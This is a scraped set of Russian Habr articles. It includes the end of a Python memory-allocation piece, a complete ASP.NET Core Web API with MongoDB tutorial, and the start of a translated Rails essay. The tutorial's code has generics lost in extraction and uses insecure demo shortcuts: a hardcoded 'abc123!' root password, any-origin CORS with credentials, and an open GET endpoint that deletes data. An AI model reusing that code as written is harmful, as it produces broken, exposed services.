('stderrprinter', 1, 1, 1), ('MemoryError', 16, 16, 16), ('sys.thread_info', 1, 0, 1),
('sys.flags', 2, 0, 2), ('types.SimpleNamespace', 1, 0, 1), ('sys.version_info', 1, 0, 1),
('sys.hash_info', 1, 0, 1), ('sys.int_info', 1, 0, 1), ('float', 584, 569, 20),
('sys.float_info', 1, 0, 1), ('module', 56, 0, 56), ('staticmethod', 16, 0, 16),
('weakref', 505, 82, 426), ('int', 3540, 2775, 766), ('member_descriptor', 246, 10, 239),
('list', 992, 919, 85), ('getset_descriptor', 240, 4, 240), ('classmethod_descriptor', 12, 0, 12),
('method_descriptor', 678, 0, 678), ('builtin_function_or_method', 1796, 1151, 651), ('wrapper_descriptor', 1031, 5, 1026),
('str', 16156, 9272, 6950), ('dict', 1696, 900, 810), ('tuple', 10367, 6110, 4337)]
```
Сделаем вывод более читабельным:
```
def print_allocations(top_k=None):
allocs = sys.getcounts()
if top_k:
allocs = sorted(allocs, key=lambda tup: tup[1], reverse=True)[0:top_k]
for obj in allocs:
alive = obj[1]-obj[2]
print("Type {}, allocs: {}, deallocs: {}, max: {}, alive: {}".format(*obj,alive))
```
```
>>> print_allocations(10)
Type str, allocs: 17328, deallocs: 10312, max: 7016, alive: 7016
Type tuple, allocs: 10550, deallocs: 6161, max: 4389, alive: 4389
Type frame, allocs: 5445, deallocs: 5442, max: 36, alive: 3
Type int, allocs: 3988, deallocs: 3175, max: 813, alive: 813
Type bytes, allocs: 3031, deallocs: 1044, max: 2154, alive: 1987
Type builtin_function_or_method, allocs: 1809, deallocs: 1164, max: 651, alive: 645
Type dict, allocs: 1726, deallocs: 930, max: 815, alive: 796
Type function, allocs: 1706, deallocs: 811, max: 922, alive: 895
Type code, allocs: 1284, deallocs: 304, max: 1063, alive: 980
Type method, allocs: 1095, deallocs: 1093, max: 14, alive: 2
```
Где:
* allocs — сколько объектов было выделено с момента старта интерпретатора
* deallocs — сколько объектов было удалено (вручную или автоматически)
* alive — количество живых (текущих) объектов (allocs — deallocs)
* max — максимальное количество живых объектов с момента старта интерпретатора
Как вы можете видеть, пустой Python REPL успел выделить **17 328** строк and **10 550** кортежей. Это какое-то безумное количество объектов! Здесь нужно иметь в виду, что для работы REPL, Python автоматически импортирует дополнительные модули, которые не импортируются в случае с пустыми скриптами.
Теперь давайте протестируем «Hello, World» на flask:
```
import sys
from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello_world():
print_allocations(15)
return 'Hello, World!'
```
```
./python -m flask run
ab -n 100 http://127.0.0.1:5000/
```
После отправки 100 HTTP запросов на наш сервер статистика выглядит так:
```
Type str, allocs: 192649, deallocs: 138892, max: 54320, alive: 53757
Type frame, allocs: 191752, deallocs: 191714, max: 158, alive: 38
Type tuple, allocs: 183474, deallocs: 150069, max: 33581, alive: 33405
Type int, allocs: 85154, deallocs: 81100, max: 4115, alive: 4054
Type bytes, allocs: 31671, deallocs: 14331, max: 17381, alive: 17340
Type list, allocs: 29846, deallocs: 27541, max: 2415, alive: 2305
Type builtin_function_or_method, allocs: 28525, deallocs: 27572, max: 957, alive: 953
Type dict, allocs: 19900, deallocs: 14800, max: 5280, alive: 5100
Type method, allocs: 15170, deallocs: 15105, max: 74, alive: 65
Type function, allocs: 14761, deallocs: 7086, max: 7711, alive: 7675
Type slice, allocs: 12521, deallocs: 12521, max: 1, alive: 0
Type list_iterator, allocs: 10795, deallocs: 10795, max: 35, alive: 0
Type code, allocs: 9849, deallocs: 1749, max: 8107, alive: 8100
Type tuple_iterator, allocs: 8938, deallocs: 8938, max: 4, alive: 0
Type float, allocs: 6033, deallocs: 5889, max: 152, alive: 144
```
Как можно видеть, flask выделил **847 261** объектов с момента старта интерпретатора. Большая часть из них была временной (**714 336**) и удалена как только они больше были не нужны. Остальные объекты (**132 925**) по прежнему находятся в памяти.
#### Фреймы и code объекты
В примере выше можно встретить множество frame и code объектов. Зачем они нужны?
Если коротко, то каждый code объект хранит в себе блок из скомпилированного кода, в свою очередь frame объекты используются для их выполнения, работая по принципу [стэка вызовов](https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%B5%D0%BA_%D0%B2%D1%8B%D0%B7%D0%BE%D0%B2%D0%BE%D0%B2). В Python, самый популярный блок — функция. Для каждой новой функции нужен свой code объект, а для каждого вызова этой функции нужен отдельный frame объект, где Python будет хранить локальные переменные. Помимо локальных переменных, каждый frame объект хранит множество вспомогательных данных, которые нужны для выполнения функции.
#### Откуда берутся все эти объекты?
Python очень динамический язык и за это нужно платить. Для того, чтобы поддерживать динамически возможности, он создает большое количество временных объектов, которые выполняют вспомогательную роль.
Для примера, объявление простой функции создает по меньшей мере 5 словарей, 5 кортежей и 4 списка. Эти объекты будут жить до конца работы скрипта. В свою очередь, все эти объекты хранят в себе другие объекты (их элементы), это десятки, иногда сотни дополнительных объектов, используеммых для внутреннего описания скомпилированной функции. Описание среднестатистического класса может выделить сотни контейнерных (словарей, кортежей, списков) объектов. К сожалению, здесь уже не получится автоматически подсчитать точное количество выделяемых объектов и эти цифры являются примерными.
Для того, чтобы Python быстро выделял большое количество объектов, в нём используется [большая и многослойная система,](https://rushter.com/blog/python-memory-managment/) которая оптимизирует выделение объектов в памяти.
Иногда удивляешься, как много деталей скрывают от нас интерпретируемые языки. Python позволяет писать хороший код не думая о множестве проблем и деталей.
P.S.: Я являюсь автором этой статьи, можете задавать любые вопросы. | https://habr.com/ru/post/418305/ | null | ru | null |
# Создание Web API приложения с использованием .NET Core + MongoDB .NET Driver
Как вы уже знаете, MongoDB — это одно из наиболее развитых, open-source NoSQL решений, которое представляет собой документо-ориентированную базу данных, является кросс-платформенным, а также обеспечивает высокую производительность, доступность и простоту масштабирования.
В современных open-source веб-приложениях использование NoSQL решений получило свою популярность в связи с их нереляционным поведением. В данной статье шаг за шагом мы реализуем простое ASP.NET Core Web API приложение «записной книжки», которое будет поддерживать операции CRUD применимо к коллекции в MongoDB.
Почему MongoDB
--------------
Выбор СУБД зависит прежде всего от того, какое приложение вы хотите создать. Т.е. БД выбирают не разработчики, а сам продукт. Для работы с документами MongoDB будет отличным выбором. Ярким примером такого приложения будет блог или социальная сеть, где каждый автор может создавать записи, добавлять к ним изображения, видео и музыку. Другие же пользователи могут комментировать эти записи, а также оценивать их с помощью, например, оценок «Нравится» или «звездочной» системы. Но как вы будете хранить эти данные? Если вы знакомы с реляционными СУБД, вы можете представить, как будет выглядеть подобная схема:

Давайте представим структуру отдельной записи, а также способ её отображения. Для того чтобы получить запись и связанные с ней данные (изображения, аудио, видео, комментарии, оценки, сведения о пользователе и т.д.) нам нужно выполнить запрос к порядка восьми соединениям таблиц. А теперь представьте, какой поток записей (динамически загружаемый и передаваемый на тысячи клиентов) предстоит обрабатывать, и вы поймёте, что для реализации данной задачи необходимы тысячи запросов к большому количеству соединений таблиц. Конечно, для хранения данных мы можем использовать реляционную БД, например SQL Server, т.к. SQL поддерживает [динамические данные в формате JSON](https://msdn.microsoft.com/library/dn921897.aspx). Но есть вариант, который упрощает подход при этом конкретном сценарии — это база данных NoSQL. Когда вы используете один документ, как показано ниже, сохраняя его в MongoDB, вы можете повысить производительность вашего приложения и получить запись полностью с помощью одного запроса без соединений таблиц. Это более простой и эффективный способ.
```
{
"id":"ew12-res2-234e-544f",
"title":"post title",
"date":"2016-01-01",
"body":"this is an awesome post stored on NoSQL",
"createdBy":"User",
"images":["http://example.com/myfirstimage.png","http://example.com/mysecondimage.png"],
"videos":[
{"url":"http://example.com/myfirstvideo.mp4", "title":"The first video"},
{"url":"http://example.com/mysecondvideo.mp4", "title":"The second video"}
],
"audios":[
{"url":"http://example.com/myfirstaudio.mp3", "title":"The first audio"},
{"url":"http://example.com/mysecondaudio.mp3", "title":"The second audio"}
]
}
```
Кроме того, использование MongoDB позволяет разработчикам ослаблять согласованность, создавая приложения с высоким уровнем доступности и низкой задержкой.
Прошу заметить, что не совсем корректно называть MongoDB заменой реляционных БД, это скорее альтернатива. Данный инструмент может делать то же, что могут делать множество других — что-то лучше, а что-то нет.
Бесструктурная архитектура коллекций в MongoDB не обязывает разработчиков определять и обслуживать схемы на уровне данных, обеспечивая быструю итерацию при разработке продукта. Вам надо сохранить объект? Сериализуйте его в BSON и отправьте в MongoDB. Нет никакого маппинга свойств или типов.
Эта простота определенно может подходить вам как конечному разработчику.
До версии 1.8 MongoDB считалась ненадежной в плане хранилища, однако в этой версии был добавлен механизм журналирования, который по умолчанию уже включен, но его можно отключить в файле конфигурации. Несмотря на некоторое увеличение производительности, при отключенном механизме журналирования есть определенный риск потери данных.
Технологический стек
--------------------
Для хранения данных MongoDB использует документы и схему базы данных в формате BSON (Binary JavaScript Object Notation), который является надмножеством формата JSON, включая дополнительно регулярные выражения, двоичные данные и даты. Схема в MongoDB называется **коллекцией**, а запись в этой схеме называется **документом**.

ASP.NET Core Web API имеет большое преимущество, потому что он может использоваться в качестве HTTP сервиса и может быть использован любым клиентским приложением, начиная с настольных компьютеров, заканчивая мобильными телефонами, а также может быть установлен на Windows, MacOS и Linux.
**Примечание**: на текущий момент MongoDB не поддерживается в EF Core. Достаточно мало шансов, что грядущие версии EF Core будут поддерживать MongoDB (на основе [комментариев](https://blogs.msdn.microsoft.com/dotnet/2016/06/27/entity-framework-core-1-0-0-available/) Роуэна Миллера), но данный функционал может быть реализован в будущем.
Ниже приводятся все необходимые для работы компоненты:
* [Visual Studio Community 2017](https://www.visualstudio.com/ru/free-developer-offers/), включающий в себя .NET Core
* [MongoDB](https://www.mongodb.com/download-center#community), версия 3.4
* [Robomongo](https://robomongo.org/) — нативное средство управление MongoDB
* [Postman](https://www.getpostman.com/) — cредство для тестирования Web API
Конфигурация MongoDB
--------------------
После того как мы установили [MongoDB](https://www.mongodb.com/download-center#community), нам нужно настроить доступ к БД, а также указать, где расположены данные. Для этого создадим файл **mongod.cfg**. Этот файл будет содержать путь к папке с данными сервера MongoDB, а также файл журнала MongoDB, первоначально без каких-либо проверок подлинности.
```
systemLog:
destination: file
path: "C:\\data\\db\\log\\mongo.log"
logAppend: true
storage:
dbPath: "C:\\data\\db"
```
**Примечание:** по умолчанию MongoDB пытается инициализировать директорию БД по адресу `"C:\\data\\db"` и выдает ошибку, если не может определить данный адрес.
Затем запускаем в командной строке следующую команду (необходимо актуализировать адреса согласно местоположению файла конфигурации и местоположения папки, куда установлена MongoDB).
`"C:\Program Files\MongoDB\Server\3.4\bin\mongod.exe" --config C:\Dev\mongod.cfg`
Эта команда запустит сервер MongoDB, указывая на уже созданный файл конфигурации.
**Примечание:** Указание абсолютного пути к бинарному файлу является не очень хорошим тоном. Для интенсивного использования данного адреса, предлагается добавить путь к каталогу в системную переменную PATH.
После того, как сервер запущен (вы можете увидеть детали в файле логов), запустим клиент **mongo.exe** из командной строки:

**Примечание:** клиент может выдать предупреждение о том, что не настроен контроль доступа (далее мы это исправим):

Создадим учетную запись администратора, выполнив следующие команды в консольном клиенте:
```
use admin
db.createUser(
{
user: "admin",
pwd: "abc123!",
roles: [ { role: "root", db: "admin" } ]
}
);
exit;
```
Затем остановим сервер и обновим файл конфигурации mongod.cfg, включая параметр безопасности:
```
systemLog:
destination: file
path: "C:\\data\\db\\log\\mongo.log"
logAppend: true
storage:
dbPath: "C:\\data\\db"
security:
authorization: enabled
```
С этого момента мы подключаемся к MongoDB используя пользователя *admin*.
**Примечание**: Рекомендуется не использовать роль суперпользователя (в нашем случае — администратора) для обычных операций, но для того, чтобы сохранить простоту, мы будем по-прежнему использовать только одного пользователя.
Создание ASP.NET Web API проекта
--------------------------------
Готовую реализацию можно скачать с [GitHub](https://github.com/artholy/WebApiMongoDB/).
Запустим Visual Studio, File → New Project → .Net Core → ASP.NET Core Web Application.

Затем выберем шаблон Web API, OK.

### Конфигурация проекта
Существует несколько поддерживаемых форматов файла конфигурации (JSON, XML или ini), и по умолчанию шаблон проекта Web API разворачивается с конфигом в формате JSON. Обновим файл AppSettings.json, добавив в него информацию о подключении к базе данных.
```
{
"Logging": {
"IncludeScopes": false,
"LogLevel": {
"Default": "Debug",
"Microsoft": "Information",
"System": "Information"
}
},
"MongoConnection": {
"ConnectionString": "mongodb://admin:abc123!@localhost",
"Database": "NotesDb"
}
}
```
### Внедрение зависимости и модель параметров
Внедрение конструктора (Constructor Injection) является одним из наиболее распространенных подходов к внедрению зависимости (Dependency Injection). ASP.NET Core использует внедрение конструктора в своём решении, поэтому мы также будем использовать его. Чтобы замапить параметры подключения к БД, мы добавим новый класс настроек.
```
namespace NotebookAppApi.Model
{
public class Settings
{
public string ConnectionString;
public string Database;
}
}
```
Модифицируем метод ConfigureSettings в файле Startup.cs чтобы добавить наши настройки в модель доступа к параметрам. В дальнейшем мы будем использовать интерфейс IOptions для доступа к настройкам.
```
public void ConfigureServices(IServiceCollection services)
{
// Add framework services.
services.AddMvc();
services.Configure(options =>
{
options.ConnectionString = Configuration.GetSection("MongoConnection:ConnectionString").Value;
options.Database = Configuration.GetSection("MongoConnection:Database").Value;
});
}
```
### MongoDB .NET Driver
Для того чтобы подключиться к MongoDB, добавим в проект Nuget пакет под названием MongoDB.Driver. Это официальный драйвер для .NET с полной поддержкой приложений на ASP.NET Core.

### Модель
Модель класса (POCO), которая описывает каждую заметку в нашей записной книжке приведена ниже.
```
using System;
using MongoDB.Bson.Serialization.Attributes;
namespace NotebookAppApi.Model
{
public class Note
{
[BsonId]
public string Id { get; set; }
public string Body { get; set; } = string.Empty;
public DateTime UpdatedOn { get; set; } = DateTime.Now;
public DateTime CreatedOn { get; set; } = DateTime.Now;
public int UserId { get; set; } = 0;
}
}
```
### Контекст базы данных
Реализуем паттерн Unit of Work в классе NoteContext:
```
public class NoteContext
{
private readonly IMongoDatabase _database = null;
public NoteContext(IOptions settings)
{
var client = new MongoClient(settings.Value.ConnectionString);
if (client != null)
_database = client.GetDatabase(settings.Value.Database);
}
public IMongoCollection Notes
{
get
{
return _database.GetCollection("Note");
}
}
}
```
### Репозиторий
Используя интерфейс репозитория, мы реализуем функционал, необходимый для управления нашими заметками. Они также будут использовать внедрение зависимостей (DI) для простого доступа к приложению (например, раздел контроллера).
```
public interface INoteRepository
{
Task> GetAllNotes();
Task GetNote(string id);
Task AddNote(Note item);
Task RemoveNote(string id);
// обновление содержания (body) записи
Task UpdateNote(string id, string body);
}
```
Доступ к БД будет асинхронным. Мы используем драйвер не ниже версии 2.0, в которой был добавлен полный асинхронный стек. Как пример: чтобы получить все заметки, мы делаем асинхронный запрос:
```
public async Task> GetAllNotes()
{
return await \_context.Notes.Find(\_ => true).ToListAsync();
}
```
Ниже представлена полная реализация для основных CRUD операций:
```
namespace NotebookAppApi.Data
{
public class NoteRepository : INoteRepository
{
private readonly NoteContext _context = null;
public NoteRepository(IOptions settings)
{
\_context = new NoteContext(settings);
}
public async Task> GetAllNotes()
{
return await \_context.Notes.Find(\_ => true).ToListAsync();
}
public async Task GetNote(string id)
{
var filter = Builders.Filter.Eq("Id", id);
return await \_context.Notes
.Find(filter)
.FirstOrDefaultAsync();
}
public async Task AddNote(Note item)
{
await \_context.Notes.InsertOneAsync(item);
}
public async Task RemoveNote(string id)
{
return await \_context.Notes.DeleteOneAsync(
Builders.Filter.Eq("Id", id));
}
public async Task UpdateNote(string id, string body)
{
var filter = Builders.Filter.Eq(s => s.Id, id);
var update = Builders.Update
.Set(s => s.Body, body)
.CurrentDate(s => s.UpdatedOn);
return await \_context.Notes.UpdateOneAsync(filter, update);
}
}
}
```
Чтобы получить доступ к NoteRepository с помощью модели DI, добавим строку в ConfigureServices:
```
services.AddTransient();
```
где:
* AddTransient означает, что репозиторий создаётся заново каждый раз.
* AddScoped — только один раз на один запрос.
* AddSingleton — один раз при первом запросе. Каждый последующий запрос использует экземпляр, который был создан в первый раз.
### Основной контроллер
Ниже представлен код основного контроллера нашего Web API приложения, где реализованы все CRUD методы, которые доступны сторонним приложениям.
**Примечание**: метод Get помечен атрибутом NoCache, чтобы убедиться, что веб-клиенты всегда делают запрос к серверу.
```
namespace NotebookAppApi.Controllers
{
[Produces("application/json")]
[Route("api/[controller]")]
public class NotesController : Controller
{
private readonly INoteRepository _noteRepository;
public NotesController(INoteRepository noteRepository)
{
_noteRepository = noteRepository;
}
[NoCache]
[HttpGet]
public Task> Get()
{
return GetNoteInternal();
}
private async Task> GetNoteInternal()
{
return await \_noteRepository.GetAllNotes();
}
// GET api/notes/5
[HttpGet("{id}")]
public Task Get(string id)
{
return GetNoteByIdInternal(id);
}
private async Task GetNoteByIdInternal(string id)
{
return await \_noteRepository.GetNote(id) ?? new Note();
}
// POST api/notes
[HttpPost]
public void Post([FromBody]string value)
{
\_noteRepository.AddNote(new Note() { Body = value, CreatedOn = DateTime.Now, UpdatedOn = DateTime.Now });
}
// PUT api/notes/5
[HttpPut("{id}")]
public void Put(string id, [FromBody]string value)
{
\_noteRepository.UpdateNoteDocument(id, value);
}
// DELETE api/notes/23243423
[HttpDelete("{id}")]
public void Delete(string id)
{
\_noteRepository.RemoveNote(id);
}
}
}
```
### Инициализация данных
В данной части мы реализуем контроллер, предназначенный для выполнения административных задач исключительно в целях демонстрации (мы используем его для инициализации базы данных с помощью некоторых фиктивных данных).
Реализуем один метод Init, который создаст и наполнит БД всеми необходимыми тестовыми данными. Метод будет доступен по адресам <http://localhost:5000/api/system/init> или <http://localhost:53617/api/system/init> (в случае, если мы используем IIS). На практике такой контроллер мог бы эволюционировать в полноценную «админку».
```
[Route("api/[controller]")]
public class SystemController : Controller
{
private readonly INoteRepository _noteRepository;
public SystemController(INoteRepository noteRepository)
{
_noteRepository = noteRepository;
}
// Call an initialization - api/system/init
[HttpGet("{setting}")]
public string Get(string setting)
{
if (setting == "init")
{
_noteRepository.RemoveAllNotes();
_noteRepository.AddNote(new Note() { Id = "1", Body = "Test note 1",
CreatedOn = DateTime.Now, UpdatedOn = DateTime.Now, UserId = 1 });
_noteRepository.AddNote(new Note() { Id = "2", Body = "Test note 2",
CreatedOn = DateTime.Now, UpdatedOn = DateTime.Now, UserId = 1 });
_noteRepository.AddNote(new Note() { Id = "3", Body = "Test note 3",
CreatedOn = DateTime.Now, UpdatedOn = DateTime.Now, UserId = 2 });
_noteRepository.AddNote(new Note() { Id = "4", Body = "Test note 4",
CreatedOn = DateTime.Now, UpdatedOn = DateTime.Now, UserId = 2 });
return "Done";
}
return "Unknown";
}
}
```
### Настройки запуска
Для того чтобы отображать результаты запросов на сервер при запуске проекта, обновим файл LaunchSettings.json

Ниже приводится пример настройки, при которой по умолчанию запускается URL-адрес с отображением всех заметок (api/notes).
```
{
"iisSettings": {
"windowsAuthentication": false,
"anonymousAuthentication": true,
"iisExpress": {
"applicationUrl": "http://localhost:53617/",
"sslPort": 0
}
},
"profiles": {
"IIS Express": {
"commandName": "IISExpress",
"launchBrowser": true,
"launchUrl": "api/notes",
"environmentVariables": {
"ASPNETCORE_ENVIRONMENT": "Development"
}
},
"NotebookAppApi": {
"commandName": "Project",
"launchBrowser": true,
"launchUrl": "http://localhost:5000/api/notes",
"environmentVariables": {
"ASPNETCORE_ENVIRONMENT": "Development"
}
}
}
}
```
### Запуск проекта
Перед запуском проекта убедитесь в том, что MongoDB запущена (как служба Windows, либо из командной строки, как это было сделано выше).
При первом запуске приложения нас перенаправит на страницу со всеми записями, но т.к. мы еще не запустили процесс инициализации, на данной странице будет отображаться пустое множество.

Запустим команду на инициализацию БД и заполнение ее тестовыми данными, перейдя по [адресу](http://localhost:53617/api/system/init).

Затем, вернемся на стартовую страницу приложения и увидим, что данные появились:

### Использование Robomongo
С помощью Robomongo можно проверить наличие записей в базе данных. Подключившись к базе данных с использованием учетных данных мы можем увидеть все 4 записи.

Обработка исключений
--------------------
В C# 5.0 были введены ключевые слова async и await, которые упрощают использование TPL (Task Parallel Library). Мы можем просто использовать блок try/catch для перехвата исключений.public async Task GetAllNotes()
```
{
try
{
return await _context.Notes.Find(_ => true).ToListAsync();
}
catch (Exception ex)
{
// log or manage the exception
throw;
}
}
```
Так мы можем обрабатывать ошибки в асинхронных экземплярах Task, при этом можно пробрасывать исключение выше для дальнейшей обработки.
Полное обновление документа MongoDB
-----------------------------------
Изначально в примере проекта функция обновления работала по принципу выборочного обновления свойства.
С помощью метода ReplaceOneAsync мы можем обновить документ полностью. Параметр IsUpsert указывает, что в случае отсутствия документа в БД, его необходимо создать.
```
public async Task UpdateNote(string id, Note item)
{
return await \_context.Notes
.ReplaceOneAsync(n => n.Id.Equals(id)
, item
, new UpdateOptions { IsUpsert = true });
}
```
Настройка кросс-доменных запросов (CORS)
----------------------------------------
Для работы с приложениями, работающими на разных доменах, у нашего решения на ASP.NET Web API необходимо разрешить обработку кросс-доменных запросов (CORS). Например, [Angular 2](https://angular.io/) перед основным запросом сначала выполняет pre-check запрос, который служит проверкой того, разрешены ли междоменные запросы. Для начала, зарегистрируем функционал CORS в методе ConfigureServices файла Startup.cs:
```
public void ConfigureServices(IServiceCollection services)
{
// Add service and create Policy with options
services.AddCors(options => { options.AddPolicy("CorsPolicy",
builder => builder.AllowAnyOrigin()
.AllowAnyMethod()
.AllowAnyHeader()
.AllowCredentials());
});
// ....
services.AddMvc();
}
```
Затем включим политику глобально для каждого запроса в приложении, путем вызова метода app.useCors в методе Configure:
```
public void Configure(IApplicationBuilder app)
{
app.UseCors("CorsPolicy");
app.UseMvc();
}
```
Работа с файлами
----------------
В документе MongoDB также можно хранить бинарные файлы, но максимальный размер документа в MongoDB 2.x составляет 16 Мб (в более ранних версиях — лишь 4 Мб). Поэтому, для хранения больших объемов информации, в частности файлов больших размеров, в MongoDB используется система GridFS. GridFS — это соглашение о хранении файлов произвольного размера в MongoDB, поддерживаемое всеми официальными драйверами. Файлы в БД хранятся в двух коллекциях, обычно называемых «fs.files» и «fs.chunks». Каждый загруженный файл имеет один документ в коллекции «fs.files», содержащий информацию о файле и множество документов-кусков (чанков) в коллекции «fs.chunks», которая хранит содержимое файла по частям.
Для начала нам нужно добавить компоненты GridFS для драйвера через NuGet.

Затем нам необходимо добавить объект класса **GridFSBucket** в наш контекст. **GridFSBucket** — ключевой объект для работы с GridFS, являющийся своего рода комбинацией коллекций «fs.files» и «fs.chunks» и представляет собой «ведро» (Bucket), в котором могут храниться все наши файлы.
```
_database = client.GetDatabase(settings.Value.Database);
_bucket = new GridFSBucket(_database);
```
Вы также можете указать дополнительные параметры. Например, название коллекции (вместо префикса «fs» будет ваше название) и размер одного чанка.
```
_database = client.GetDatabase(settings.Value.Database);
var gridFSBucketOptions = new GridFSBucketOptions()
{
BucketName = "images",
ChunkSizeBytes = 1048576, // 1МБ
};
_bucket = new GridFSBucket(_database, gridFSBucketOptions);
```
И добавим возможность использовать наш к экземпляр **GridFSBucket**:
```
public GridFSBucket Bucket
{
get
{
return _bucket;
}
}
```
Или можно использовать более краткую запись:
```
public GridFSBucket Bucket => _bucket;
```
Теперь обновим наш функционал. Добавим метод добавления файла в БД в NoteRepository.cs
```
public async Task UploadFile(IFormFile file)
{
try
{
var stream = file.OpenReadStream();
var filename = file.FileName;
return await \_context.Bucket.UploadFromStreamAsync(filename, stream);
}
catch (Exception ex)
{
return new ObjectId(ex.ToString());
}
}
```
**Примечание:** Следует всегда использовать объект GridFSBucket для взаимодействия с коллекциями GridFS («fs.chunks» и «fs.files») вместо непосредственного обращения к этим коллекциям.
Добавим сигнатуру метода в INoteRepository.cs:
```
Task UploadFile(IFormFile file);
```
Обновим NotesController.cs, добавив в него сам POST метод:
```
// POST api/notes/uploadFile
[HttpPost("uploadFile")]
public async Task UploadFile(IFormFile file)
{
return await \_noteRepository.UploadFile(file);
}
```
**Примечание:** Для корректной обработки данных, передающихся с заголовком Content-Type: multipart/form-data (так мы будем передавать файлы) необходимо добавить поддержку данных такого типа. Для этого мы добавим для класса контроллера NotesController соответствующий атрибут Consumes:
```
[Consumes("application/json", "multipart/form-data")]
public class NotesController : Controller
```
Получение информации о файле рассмотрим на примере простого метода, который по Id файла будет возвращать его название:
```
public async Task GetFileInfo(string id)
{
GridFSFileInfo info = null;
var objectId = new ObjectId(id);
try
{
using (var stream = await \_context.Bucket.OpenDownloadStreamAsync(objectId))
{
info = stream.FileInfo;
}
return info.Filename;
}
catch (Exception)
{
return "Not Found";
}
}
```
Проверим наш API
----------------
Для проверки работы Web API будем использовать [Postman](https://www.getpostman.com/). Например, проверим получение записи по Id (api/notes/2) Выберем тип запроса GET, затем введем URL (http://localhost:53617/api/notes/2) и добавим заголовок (Content-Type: application/json). После отправки запроса мы получаем ответ в виде информации о записи с Id = 2.

Поменяем содержимое данной записи. Для этого поменяем тип запроса на PUT, затем перейдем на вкладку Body > Raw и зададим новое содержание записи.

После этого зайдем в RoboMongo и убедимся, что значение записи обновилось.

Проверим работу механизма GridFS. Для этого поменяем Content-Type на multipart/form-data, URL зададим как [localhost](http://localhost):53617/api/notes/uploadFile и в разделе Body > form-data добавим и отправим файл. В ответ мы получили информацию о данном файле:

После этого для данного файла создались соответствующие записи в коллекциях «images.files» и «images.chunks».

Проверим наш простой метод получения имени файла по его ID. Для этого сделаем обычный GET запрос с передачей ID файла в адресной строке.

Заключение
----------
Сам факт того, что команда MongoDB уделяет достаточно внимания удобству и полезности разработчикам, проводя [обучающие курсы](https://university.mongodb.com/), активно интересуясь мнением [сообщества](https://www.mongodb.com/presentations/) и оперативно решая возникающие [проблемы](https://jira.mongodb.org/secure/Dashboard.jspa) (проект пишут не только волонтеры, но и компания людей на полной занятости), дает возможность утверждать, что MongoDB и дальше будет сохранять отличный темп внедрения новых возможностей и совершенствоваться.
И то, что MongoDB можно развернуть не только на Windows, в совокупности с достаточной зрелостью драйвера и курсом Microsoft на поддержку .NET Core в Linux и MacOS, является ощутимым плюсом, например, если вы хотите развернуть ваше решение полностью на Linux. Однако, нельзя не упомянуть про [открытое тестирование](https://www.microsoft.com/ru-ru/sql-server/sql-server-vnext-including-linux) SQL Server 2017, данное решение также можно развернуть на Linux. И выбор подхода, который Вам нужно использовать при разработке проекта: NoSQL или RDBMS — зависит в основном от специфики Вашего приложения. MongoDB идеально подойдёт там, где все сценарии работы с данными укладываются и будут укладываться в будущем в выборки по ключу и получение всей коллекции. Если такой уверенности нет, то лучше сразу взять РСУБД.
**Источники:**
1. <http://www.qappdesign.com/using-mongodb-with-net-core-webapi/>
2. <http://jsman.ru/mongo-book/Vvedenie.html>
3. <http://mongodb.github.io/mongo-csharp-driver/2.4/reference/>
4. <https://docs.microsoft.com/ru-ru/azure/documentdb/documentdb-nosql-vs-sql> | https://habr.com/ru/post/328954/ | null | ru | null |
# Рельсы сошли с рельс: Почему я переписываю Archaeopteryx на CoffeeScript
Вы бывали на [вечеринках, где друзья с работы и друзья из колледжа не разговаривают](http://www.theonion.com/articles/work-friends-not-mingling-with-other-friends,376/)?
Я запостил видео на Tumblr, которое бы никогда не запостил на Facebook:
Это гитарист, отжигающий под «Bangarang» Skrillex'а.
> От переводчика:
>
> Оригинальный текст был размещён в [личном блоге автора](http://gilesbowkett.blogspot.com/) и не был рассчитан на последующий перевод. Он написан в очень свободном стиле, который я постарался воссоздать, включая легкую ненормативную лексику. В результате перевод вышел довольно художественным, так что педантам весьма советую почитать [оригинальную статью на английском](http://gilesbowkett.blogspot.com/2012/02/rails-went-off-rails-why-im-rebuilding.html).
>
> Хотя автор иногда отходит от основной темы и немного пиарится, я всё же посчитал данную статью уместной для Хабра.
>
>
>
> И да, статья действительно о Рельсах, несмотря на затянувшееся вступление :)
Я не запостил это видео на Фейсбук, потому что на Фейсбуке у меня есть друзья из универа (которые, судя по Spotify, слушают Skrillex), а также друзья по рейв-сцене ещё с тех пор, когда я жил в Сан-Франциско. Я на самом деле не знаю их мнения на счет Skrillex, но могу предположить, что они были бы не в восторге, ведь некоторые из них — [настоящие техно-пуристы](http://www.youtube.com/watch?v=EKhtdGFWGiA&feature=related) да и вообще музыкальные хипстеры, не переносящие попсу, знавшие дабстеп за годы до Skrillex. На самом деле, я слышал некоторые очень ранние пред-дапстепные записи в Лондоне в 2000-м и я наверняка был не единственным из этой группы друзей, слушавшим такое — а значит, как минимум некоторые из нас знали про дабстеп за десять лет до Skrillex.
Мои старые друзья-хипстеры по рейв-сцене наверняка бы плевались на это видео по той же причине, почему моим музыкально-наивным друзьям по универу оно бы понравилось: Skrillex добился просто феноменального успеха за счет стиля, который по сути является сводной таблицей, вытягивающей колонки из таблиц рока и рейва. Запостить что-то подобное на Фейсбуке как бы означает столкнуть лбами две разные группы, несмотря на их диаметрально противоположные вкусы и несмотря на то, что со всеми ними я не виделся годами. Пустая трата времени.
Это напомнило мне старую цитату от Why the Lucky Stiff:
[Когда ты ничего не создаёшь, тебя определяют твои вкусы, а не твои способности. Твои вкусы лишь сужают круг общения и отталкивают людей. Так что создавай.](http://www.joeydevilla.com/2008/08/08/why-the-lucky-stiff-on-why-you-should-create/)
Я вспомнил об этом, потому что видел отличные презентации на [LA RubyConf](http://larubyconf.com/), единственным минусом которых было огромное количество ехидных подколов в сторону практически всех языков, кроме Ruby. По-моему единственным исключением был Smalltalk, который, как обычно, получил стандартную порцию уважения от рубистов, говорящих про Smalltalk. Раньше мне тоже нравился Smalltalk, но я не люблю идолопоклонничество. Однажды я купил старый Mac Mini у одного рубиста из Лос-Анджелеса, который коллекционировал столько старой компьютерной дряни, что был похож на техно-историка. Одним из экспонатов его коллекции было скучное и унылое руководство по IBM Smalltalk — один из самых безвкусных корпоративных документов, который я видел в своей жизни; к тому же, хороший контр-аргумент крикам рубистов из культа под названием «Smalltalk был самой классной штукой на свете».
Пару лет назад Рельсы были настолько же офигенны, насколько Skrillex — сегодня. Но на дворе 2012 и на Hacker News появился такой пост:
[Что мне стоит выучить глубже, Node.JS/Express.JS или Ruby on Rails?
